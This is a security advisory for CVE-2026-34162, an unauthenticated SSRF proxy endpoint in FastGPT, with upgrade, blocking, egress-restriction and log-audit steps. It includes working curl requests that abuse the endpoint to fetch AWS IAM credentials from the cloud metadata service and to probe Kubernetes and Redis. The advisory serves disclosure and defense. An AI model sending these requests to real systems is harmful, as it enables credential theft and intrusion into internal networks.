CVE-2026-34162: FastGPT Unauthenticated HTTP Proxy Enables Full SSRF (CVSS 10.0)

Executive Summary

A maximum-severity vulnerability (CVE-2026-34162, CVSS 10.0) has been disclosed in FastGPT, a widely deployed open-source platform for building AI agents and workflows. The flaw affects all versions prior to 4.14.9.5.

The vulnerable endpoint — /api/core/app/httpTools/runTool — is exposed without any authentication and functions as a complete HTTP proxy. It accepts user-supplied baseUrl, toolPath, HTTP method, custom headers, and request body — then faithfully forwards the request to any destination. There is no access control, no origin validation, and no restriction on which internal or external hosts can be targeted.

The impact is severe: unauthenticated attackers can use the endpoint to:

• Probe and access internal services (cloud metadata endpoints, databases, internal APIs)
• Exfiltrate sensitive data from backend services the FastGPT server can reach
• Bypass network perimeter controls by routing through the trusted FastGPT host
• Potentially escalate to RCE by reaching internal management interfaces

Organisations running FastGPT must upgrade to version 4.14.9.5 immediately or block external access to the endpoint as an emergency measure.

Vulnerability Overview

Affected Versions

Technical Analysis

The Vulnerable Endpoint

FastGPT provides an HTTP tools feature that allows AI agents to call external APIs as part of workflow execution. The testing endpoint for this feature is:

POST /api/core/app/httpTools/runTool

This endpoint is intended for developers to test their HTTP tool configurations. However, it was exposed without any authentication middleware, allowing anyone on the network to invoke it.

What the Endpoint Accepts

The endpoint acts as a configurable HTTP proxy, accepting:

{
  "baseUrl": "http://any-internal-or-external-host",
  "toolPath": "/any/path",
  "method": "GET|POST|PUT|DELETE|PATCH",
  "headers": { "Authorization": "any custom headers" },
  "body": { "any": "payload" }
}

The server then constructs the full URL from baseUrl + toolPath, applies the supplied headers and body, and forwards the request — returning the response to the attacker.

Attack Scenarios

Scenario 1: Cloud Metadata Exfiltration

curl -X POST https://fastgpt.target.org/api/core/app/httpTools/runTool \
  -H "Content-Type: application/json" \
  -d '{
    "baseUrl": "http://169.254.169.254",
    "toolPath": "/latest/meta-data/iam/security-credentials/",
    "method": "GET",
    "headers": {},
    "body": {}
  }'
# Returns AWS IAM role credentials for the EC2 instance

Scenario 2: Internal Service Enumeration

# Probe internal Kubernetes API server
curl -X POST .../runTool -d '{
  "baseUrl": "https://kubernetes.default.svc",
  "toolPath": "/api/v1/namespaces",
  "method": "GET",
  "headers": {"Authorization": "Bearer <stolen-token>"},
  "body": {}
}'

Scenario 3: Database or Cache Access

# Reach Redis (if HTTP interface is enabled)
curl -X POST .../runTool -d '{
  "baseUrl": "http://redis.internal:6379",
  "toolPath": "/",
  "method": "GET",
  "headers": {},
  "body": {}
}'

Impact Assessment

Immediate Remediation

Step 1: Upgrade FastGPT to 4.14.9.5

# Pull the latest Docker image
docker pull labring/fastgpt:v4.14.9.5
 
# Update docker-compose.yml to reference the new version
# Then restart the service
docker compose down && docker compose up -d

Or follow the official FastGPT upgrade guide for Kubernetes deployments.

Step 2: Block the Endpoint if Immediate Upgrade Is Not Possible

Using a WAF or reverse proxy (e.g., Nginx, Traefik):

# Nginx — block the vulnerable endpoint
location = /api/core/app/httpTools/runTool {
    return 403;
}

Or in Traefik middleware:

# traefik-middleware.yml
http:
  middlewares:
    block-runtool:
      replacepathregex:
        regex: "^/api/core/app/httpTools/runTool$"
        replacement: "/blocked"

Step 3: Restrict FastGPT Network Egress

Limit what hosts the FastGPT container can reach from inside:

# docker-compose.yml — add network restrictions
services:
  fastgpt:
    networks:
      - fastgpt-net
    # Use host firewall rules to block IMDS and internal ranges

# Block cloud metadata endpoints at the host level
iptables -I DOCKER-USER -d 169.254.169.254 -j DROP
iptables -I DOCKER-USER -d 100.100.100.200 -j DROP  # Alibaba Cloud

Step 4: Audit for Prior Exploitation

# Search access logs for runTool endpoint hits from unexpected IPs
grep "httpTools/runTool" /var/log/nginx/access.log | grep -v "127.0.0.1"
 
# Check for metadata endpoint access patterns
grep "169.254" /var/log/nginx/access.log
 
# Review FastGPT application logs for suspicious baseUrl values
docker logs fastgpt 2>&1 | grep -E "(169\.254|10\.|172\.|192\.168\.|kubernetes\.default)"

Detection Indicators

Post-Remediation Checklist

1. Upgrade FastGPT to version 4.14.9.5 or later
2. Block the /api/core/app/httpTools/runTool endpoint at the reverse proxy level if not upgraded
3. Restrict egress from the FastGPT container — deny access to cloud metadata endpoints and internal management interfaces
4. Rotate credentials if the server has access to cloud provider credentials (check for IAM roles, service accounts, etc.)
5. Review access logs for signs of prior exploitation — look for requests to the endpoint from non-localhost IPs
6. Audit all AI tool configurations — verify no malicious tool definitions were injected during the exposure window
7. Enable authentication on all FastGPT API endpoints and restrict access to trusted network segments

References

• NVD — CVE-2026-34162
• FastGPT GitHub Repository
• CWE-284 — Improper Access Control
• OWASP — Server-Side Request Forgery (SSRF)